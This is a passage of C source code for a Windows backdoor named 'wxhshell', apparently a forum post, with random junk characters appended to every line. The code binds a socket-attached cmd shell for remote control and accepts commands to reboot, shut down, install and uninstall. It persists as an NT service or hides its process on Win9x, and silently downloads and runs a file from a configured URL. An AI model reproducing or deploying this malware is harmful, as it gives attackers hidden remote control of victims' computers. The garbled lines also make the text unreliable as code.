  // 帮助 1|8<!Hx#-  
  case '?': { omEnIfQSO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5kju{2`GF  
    break; 99]&Xj  
  } d_r1 }+ao  
  // 安装 ,FP<# 0F*a  
  case 'i': { ,vE)/{:d  
    if(Install()) x,~ys4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =yy7P[D  
    else 5[\LQtM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qL 0{w7  
    break; J<'7z%2w  
    } N-Jp; D  
  // 卸载 nsM :\t+ p  
  case 'r': { {WYHT6Z  
    if(Uninstall()) q/N1q&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9}_ccq  
    else 6k%Lc4W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,f(:i^iz!  
    break; A['0~tOP  
    } 4#c-?mh_  
  // 显示 wxhshell 所在路径 WdvXVF  
  case 'p': { (='e9H!3D  
    char svExeFile[MAX_PATH];  zG0191f  
    strcpy(svExeFile,"\n\r"); q8 _8rp-@  
      strcat(svExeFile,ExeFile); <JyF5  
        send(wsh,svExeFile,strlen(svExeFile),0); d4]9oi{}  
    break; w]ZE('3%W  
    } |5h~&kA  
  // 重启 =SEgv;#KZ~  
  case 'b': { mO1r~-~AJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {;T7Kg.C  
    if(Boot(REBOOT)) ~$ FgiW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .dvOUt I[  
    else { -%g&O-i\  
    closesocket(wsh); L=1~)>mP  
    ExitThread(0); BIM!4MHLA  
    } zQNkjQ{mx  
    break; Qe6'W  
    } }kK6"]Tj  
  // 关机 %x2_njDd  
  case 'd': { ]3/_?n-"`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {0t-Q k  
    if(Boot(SHUTDOWN)) &P,z$H{o@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B{^ojV;]m  
    else { G7yR&x^  
    closesocket(wsh); m[t4XK  
    ExitThread(0); Q Jnji  
    } dhAkD-Lh  
    break; -{tB&V~+v  
    } rbEUq.Yk]~  
  // 获取shell >Y\$9W=t  
  case 's': { 1m5 =Nu  
    CmdShell(wsh); |'R^\M Q  
    closesocket(wsh); 6|O2i j-J  
    ExitThread(0); MMYV8;c  
    break; Oz: J8l%  
  } #,4CeD|(D,  
  // 退出 )8rN   
  case 'x': { A/%+AH(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EG|fGkv"  
    CloseIt(wsh); i7UE9Nyl*  
    break; >cE@m=[  
    } F ^mMyK  
  // 离开 * t-Wol  
  case 'q': { 2Kg+SLU[~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [!k#au+#c  
    closesocket(wsh); 13X\PO'9  
    WSACleanup(); l^$8;$Rq  
    exit(1); PI5a 'k0F  
    break; 7 z#Xf  
        } ofu {g  
  } n:#gKR-J  
  } `]0E)  
ox2?d<dC6  
  // 提示信息 (i"@{[IP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WN+D}z]  
} Jn/"(mM  
  } sr*3uI-)L  
m/`"~@}&  
  return; rphfW:  
} zxV,v*L)  
-q}c;0vL-a  
// shell模块句柄 9PM\D@A{  
int CmdShell(SOCKET sock) AusCU~:>  
{ Xaca=tsO  
STARTUPINFO si; =(-oQ<@v  
ZeroMemory(&si,sizeof(si)); A{3?G -]*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fF"\$Ny  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <A_LZi  
PROCESS_INFORMATION ProcessInfo; $<~o,e-4  
char cmdline[]="cmd"; r@XH=[:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _eE hIQ9  
  return 0; {);S6F$[3  
} %~`y82r6  
8)1 k>=  
// 自身启动模式 (1|_Nr  
int StartFromService(void) xD#r5  
{ C]xKdPQj%  
typedef struct Y@+e)p{  
{ 9AxeA2/X  
  DWORD ExitStatus; KqE5{ q  
  DWORD PebBaseAddress; )225ee>  
  DWORD AffinityMask; bi^Xdu  
  DWORD BasePriority; ^zv,VD  
  ULONG UniqueProcessId; .+'`A"$8  
  ULONG InheritedFromUniqueProcessId; LWpM-eW1q  
}   PROCESS_BASIC_INFORMATION; c5($*tTT  
has \W\(  
PROCNTQSIP NtQueryInformationProcess; T"NDL[*  
%p R: .u|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :+G1=TuXw~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BfcpB)N&.K  
_I&];WM\  
  HANDLE             hProcess; w,<nH:~  
  PROCESS_BASIC_INFORMATION pbi; -j6&W`  
^x:%_yGY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }qa8o  
  if(NULL == hInst ) return 0; .sO.Y<- fl  
%B ,>6 `[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t81}jD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xw)$).yc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ex- 0@  
bw@"MF{  
  if (!NtQueryInformationProcess) return 0; /hojm6MM  
>sUavvJ~x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +~E;x1&'  
  if(!hProcess) return 0; p\7(`0?8VN  
w=]bj0<A=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D]{#!w(d  
?dJ[? <aG  
  CloseHandle(hProcess); Y\Z.E ;  
nO'lN<L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s Y^#I  
if(hProcess==NULL) return 0; /O@dqEbc  
OF4iGFw  
HMODULE hMod; (.:!_OB0N  
char procName[255]; O e-FI+7  
unsigned long cbNeeded; 7B|ddi7Q>  
OMi_')J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7V^\fh5~  
E&}@P0^  
  CloseHandle(hProcess); VSW:h  
w;LIP!T#  
if(strstr(procName,"services")) return 1; // 以服务启动 Jj_ t0"  
O,&nCxB]  
  return 0; // 注册表启动 kb27$4mm  
} $rb #k{  
g3} K  
// 主模块 *~t&Ux#hj  
int StartWxhshell(LPSTR lpCmdLine) |6M:JI8  
{ u@;6r"8q  
  SOCKET wsl; LQ7.RK  
BOOL val=TRUE; Xx=jN1=,  
  int port=0; O0"u-UX{  
  struct sockaddr_in door; : J3_g<@  
LSR{N|h+)  
  if(wscfg.ws_autoins) Install(); +/bT4TkML  
yX%Xjo__*t  
port=atoi(lpCmdLine); !`3q9RT3."  
XS L*e  
if(port<=0) port=wscfg.ws_port; 9]{(~=D7  
k u@sQn  
  WSADATA data; doIcO,Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !rK,_wH  
qmWK8}F.cE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6`ZHFem  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vZDM}u  
  door.sin_family = AF_INET; 0/1Ay{ns  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YA";&|V  
  door.sin_port = htons(port); |>/T*zk<  
*Zj2*e{Z9U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :sf(=Y.qA  
closesocket(wsl); p~n62(  
return 1; J=%(f1X<W  
} 20Umjw.D  
b3>`%?A  
  if(listen(wsl,2) == INVALID_SOCKET) { i'[o,dbE  
closesocket(wsl); 0|RFsJ"  
return 1; hSg4A=y  
} 7j9X<8 *  
  Wxhshell(wsl); 2MV!@rx  
  WSACleanup(); jkzC^aG  
l7+[Zn/v *  
return 0; nB; yS<  
4iXB`@k  
} R\^n2gK  
0[f8Gb3  
// 以NT服务方式启动 _a~uIGN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &<oZl.T  
{ ([mC!d@a  
DWORD   status = 0; 1>KZ1Kf  
  DWORD   specificError = 0xfffffff; h{J=Rq  
0u3"$o'R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0q@U>#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z=L~W,0'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c" |4'#S  
  serviceStatus.dwWin32ExitCode     = 0; 1<Z~Gw4  
  serviceStatus.dwServiceSpecificExitCode = 0; }JF,:g Lk  
  serviceStatus.dwCheckPoint       = 0; ?hz9]I/8  
  serviceStatus.dwWaitHint       = 0; #@i1jZ  
gcaXN6C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ckglDhC  
  if (hServiceStatusHandle==0) return; )L,.K O  
Yv!r>\#0S  
status = GetLastError(); UBgheu  
  if (status!=NO_ERROR) Xy0KZ !  
{ L.%N   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $aY*1UVq  
    serviceStatus.dwCheckPoint       = 0; & V*_\  
    serviceStatus.dwWaitHint       = 0; +d$l1j  
    serviceStatus.dwWin32ExitCode     = status; ls^| j%$J  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y[0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7sC8|+  
    return; $@ous4&  
  } uT#MVv~.  
)[w_LHKI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mYE8]4  
  serviceStatus.dwCheckPoint       = 0; U{)|z-n  
  serviceStatus.dwWaitHint       = 0; BEm~o#D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J:N4F.o&K  
} rA">< pH  
3U_,4qf  
// 处理NT服务事件,比如:启动、停止 c`F~vrr)X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *c 0\<BI  
{ i uNBw]  
switch(fdwControl) tn"n~;Bh?:  
{ Hq>"rrVhx  
case SERVICE_CONTROL_STOP: T|/B}srm  
  serviceStatus.dwWin32ExitCode = 0; O%$XgEJ8p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {<p-/|Z52  
  serviceStatus.dwCheckPoint   = 0; zUe)f~4  
  serviceStatus.dwWaitHint     = 0; 9b8kRz[ c  
  { :~% zX*   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }"sZ)FE  
  } M)<4|x  
  return; ,{pC1A@s  
case SERVICE_CONTROL_PAUSE: 4!I;U>b b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F+lsza  
  break; EYsf<8cl  
case SERVICE_CONTROL_CONTINUE: [pc6!qhDG&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ';CL;A;  
  break; ? >\JX  
case SERVICE_CONTROL_INTERROGATE: N9[2k.oBH  
  break; "I7 Sed7  
}; b{Qg$ZJeR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); No'^]r  
} aS7%x>.A!  
x+X^K_*  
// 标准应用程序主函数 W=$cQ(x4Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P+h p'YK1  
{ UTThl2=+  
 .L vg $d  
// 获取操作系统版本 bsn.HT"5  
OsIsNt=GetOsVer(); /.Fvl;!J;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,pg\5b  
$PNS`@B  
  // 从命令行安装 JyfWy  
  if(strpbrk(lpCmdLine,"iI")) Install(); d{gj8  
~<)CI0=  
  // 下载执行文件 .;:jGe(  
if(wscfg.ws_downexe) { OE"r=is  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =VctG>ct|  
  WinExec(wscfg.ws_filenam,SW_HIDE); |.qK69  
} :.K#=ROP  
1 Ar6hA  
if(!OsIsNt) { knPo"GQW  
// 如果时win9x,隐藏进程并且设置为注册表启动 :We}l;.jQ  
HideProc(); lwhVP$q}  
StartWxhshell(lpCmdLine); Z,? T`[4B  
} Y(` # J[  
else V&j |St[  
  if(StartFromService()) /=|5YxY  
  // 以服务方式启动 nj@l5[  
  StartServiceCtrlDispatcher(DispatchTable); +dt b~M  
else !OO{qw(*g  
  // 普通方式启动 )]^xy&:|  
  StartWxhshell(lpCmdLine); _BA2^C':c{  
pFUW7jE  
return 0; (t{m(;/  
}
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只看该作者 1 发表于: 2006-10-10
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